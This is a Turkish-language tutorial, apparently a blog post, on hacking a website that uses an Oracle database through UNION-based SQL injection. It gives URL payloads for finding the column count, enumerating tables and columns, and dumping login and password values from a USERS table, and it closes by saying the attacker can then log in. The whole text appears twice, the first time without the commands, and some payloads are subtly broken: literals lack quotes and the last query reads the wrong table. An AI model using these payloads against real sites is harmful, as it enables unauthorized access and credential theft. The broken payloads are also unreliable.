Merhabalar,
Bu makalemizde Oracle veritabanı kullanan bir siteyi nasıl hackleyebileceğimizi öğreneceğiz.
Makaleye geçmeden önce bazı ipuçları verelim:
Oracleda boşluk karakteri önemlidir. Bu yüzden boşluk karakteri yerine %20 (URL encode ettik) kullandık.
Eşittir işaretinin yerine de %3d kullandık. Bunları yapmamızın asıl sebebi, karşımıza çıkabilecek bir hatayı önceden bypass etmektir.
Örnek sitemiz;
Yukarıdaki linke tıkladığımızda sitedeki kayıtlı çalışanlar listeleniyor.
Önce sql injectionın ilk adımı olan kolon sayısını bulma işlemini yapıyoruz. Bu makalede daha önce kolon sayısını bulurken pek bilmediğimiz bir yöntemden bahsedeceğiz: Union Select yöntemi. Metodumuz şu şekilde işliyor: Aşağıdaki gibi bir komut yazıyoruz ve sayfanın hata vermemesini bekliyoruz. Eğer hata(resim2) verirse NULL sayısını 1 kez daha fazla yazıyoruz.
Komut;
Hata Resim;
Bir NULL daha yazıyoruz.
Komut;
Hata Resim;
Şimdi hangi kolonun string olduğunu bulmamız lazım. Yoksa veri çekemeyiz. Bunun için her defasında bir NULL yerine a karakterlerini yazıyoruz.
Komut;
Aldığımız Hata;
2. NULL yerine a yazdığımızda aşağıdaki gibi bir ekran karşımıza çıktı:
Komut;
Karşımıza Çıkan Ekran;
String kolonu bulduk.
Oracleda user_objects adında, tüm nesnelerin adının ve türünün tutulduğu bir tablo var. Şimdi bu tablonun elemanlarını öğrenelim.
Komut;
Gördüğünüz gibi indeksler, prosedürler, tablolar vs yansıdı. Burada işimize yarayacak tablo, USERS tablosu.
Oracleda user_tab_columns adında, tüm sütunların adının tutulduğu da bir tablo vardır. Şimdi de bu tablodan USERS tablosunun sütunlarını öğrenelim.
Komut;
Gördüğünüz üzere USERS tablosunun 6 tane sütunu vardır. Bunlardan login ve password sütunlarında yer alan bilgileri çekelim.
Komut;
Evet, kullanıcı adı ve şifreleri öğrendik. Artık veritabanına giriş yapabiliriz.
Not: String türünde sadece bir kolon olsaydı, kullanıcı adı ve şifreleri şöyle çekebilirdik.
Kolay gelsin.
Bu makalemizde Oracle veritabanı kullanan bir siteyi nasıl hackleyebileceğimizi öğreneceğiz.
Makaleye geçmeden önce bazı ipuçları verelim:
Oracleda boşluk karakteri önemlidir. Bu yüzden boşluk karakteri yerine %20 (URL encode ettik) kullandık.
Eşittir işaretinin yerine de %3d kullandık. Bunları yapmamızın asıl sebebi, karşımıza çıkabilecek bir hatayı önceden bypass etmektir.
Örnek sitemiz;
Yukarıdaki linke tıkladığımızda sitedeki kayıtlı çalışanlar listeleniyor.
Önce sql injectionın ilk adımı olan kolon sayısını bulma işlemini yapıyoruz. Bu makalede daha önce kolon sayısını bulurken pek bilmediğimiz bir yöntemden bahsedeceğiz: Union Select yöntemi. Metodumuz şu şekilde işliyor: Aşağıdaki gibi bir komut yazıyoruz ve sayfanın hata vermemesini bekliyoruz. Eğer hata(resim2) verirse NULL sayısını 1 kez daha fazla yazıyoruz.
Komut;
Hata Resim;
Bir NULL daha yazıyoruz.
Komut;
https://site.com/employees.asp?EmpNo=7521 UNION SELECT NULL,
NULL%20from%20dual--
Hata Resim;
Şimdi hangi kolonun string olduğunu bulmamız lazım. Yoksa veri çekemeyiz. Bunun için her defasında bir NULL yerine a karakterlerini yazıyoruz.
Komut;
https://site.com/employees.asp?EmpNo=7521 UNION SELECT a,
NULL,NULL,NULL%20from%20dual--
Aldığımız Hata;
2. NULL yerine a yazdığımızda aşağıdaki gibi bir ekran karşımıza çıktı:
Komut;
https://site.com/employees.asp?EmpNo=7521 UNION SELECT NULL,
a,NULL,NULL%20from%20dual--
Karşımıza Çıkan Ekran;
String kolonu bulduk.
Oracleda user_objects adında, tüm nesnelerin adının ve türünün tutulduğu bir tablo var. Şimdi bu tablonun elemanlarını öğrenelim.
Komut;
https://site.com/employees.asp?EmpNo=7521 UNION SELECT NULL,
object_name,object_type,NULL%20from%20user_objects--
Gördüğünüz gibi indeksler, prosedürler, tablolar vs yansıdı. Burada işimize yarayacak tablo, USERS tablosu.
Oracleda user_tab_columns adında, tüm sütunların adının tutulduğu da bir tablo vardır. Şimdi de bu tablodan USERS tablosunun sütunlarını öğrenelim.
Komut;
https://site.com/employees.asp?EmpNo=7521 UNION SELECT NULL,
column_name,NULL,NULL%20from%20user_tab_columns%20where%20table_name%20%
3d%20USERS--
Gördüğünüz üzere USERS tablosunun 6 tane sütunu vardır. Bunlardan login ve password sütunlarında yer alan bilgileri çekelim.
Komut;
https://site.com/employees.asp?EmpNo=7521 UNION SELECT NULL,
login,password,NULL%20from%20users-
Evet, kullanıcı adı ve şifreleri öğrendik. Artık veritabanına giriş yapabiliriz.
Not: String türünde sadece bir kolon olsaydı, kullanıcı adı ve şifreleri şöyle çekebilirdik.
https://site.com/employees.asp?EmpNo=7521 UNION SELECT NULL,
login||:||password,NULL,NULL%20from%20user_objects--
Kolay gelsin.